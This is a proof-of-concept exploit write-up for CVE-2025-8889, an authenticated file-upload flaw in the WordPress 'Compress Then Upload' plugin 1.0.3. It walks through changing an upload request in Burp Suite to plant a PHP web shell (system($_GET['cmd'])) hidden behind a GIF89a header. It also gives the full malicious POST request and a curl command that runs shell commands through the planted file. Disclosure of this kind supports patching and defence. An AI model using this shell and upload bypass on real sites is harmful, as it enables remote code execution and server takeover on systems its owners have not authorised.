
Proof-of-concept exploit for CVE-2025-8889: arbitrary file upload to RCE in WordPress Compress Then Upload plugin 1.0.3. Includes step-by-step PoC using Burp Suite to bypass MIME validation and execute PHP code.
Date: 2025-07-23
Exploit Author: Muhammed Çelik
Vendor Homepage: https://wordpress.com/plugins/compress-then-upload
Software Link: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
Version: 1.0.3
Tested on: Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE: CVE-2025-8889
The "Compress Then Upload Images" WordPress plugin fails to properly validate file extensions and MIME types during image uploads via its media upload interface. Although client-side validations exist, these can be bypassed by intercepting and modifying the upload request.
An authenticated user with media upload permissions (Author role or higher) can exploit this by:
Step 1: Prepare a regular image file
Create a regular image file, e.g., regular.jpg (any valid JPG file).
Step 2: Upload the regular image via WordPress Admin Panel
regular.jpg normally.Step 3: Intercept and modify the upload request with Burp Suite
filename="regular.jpg" → filename="evil.php"GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
Note: The GIF89a; mimics a valid GIF header to bypass weak image validations.
Keep the Content-Type as image/jpeg.
Forward the modified request to the server.
Step 4: Trigger the uploaded web shell
If upload is successful, the PHP file will be saved in the uploads directory, e.g.:
http://target-site.com/wp-content/uploads/2025/07/evil.php
Access via browser or curl:
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
Example Malicious Upload Request (Burp Suite)
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
?>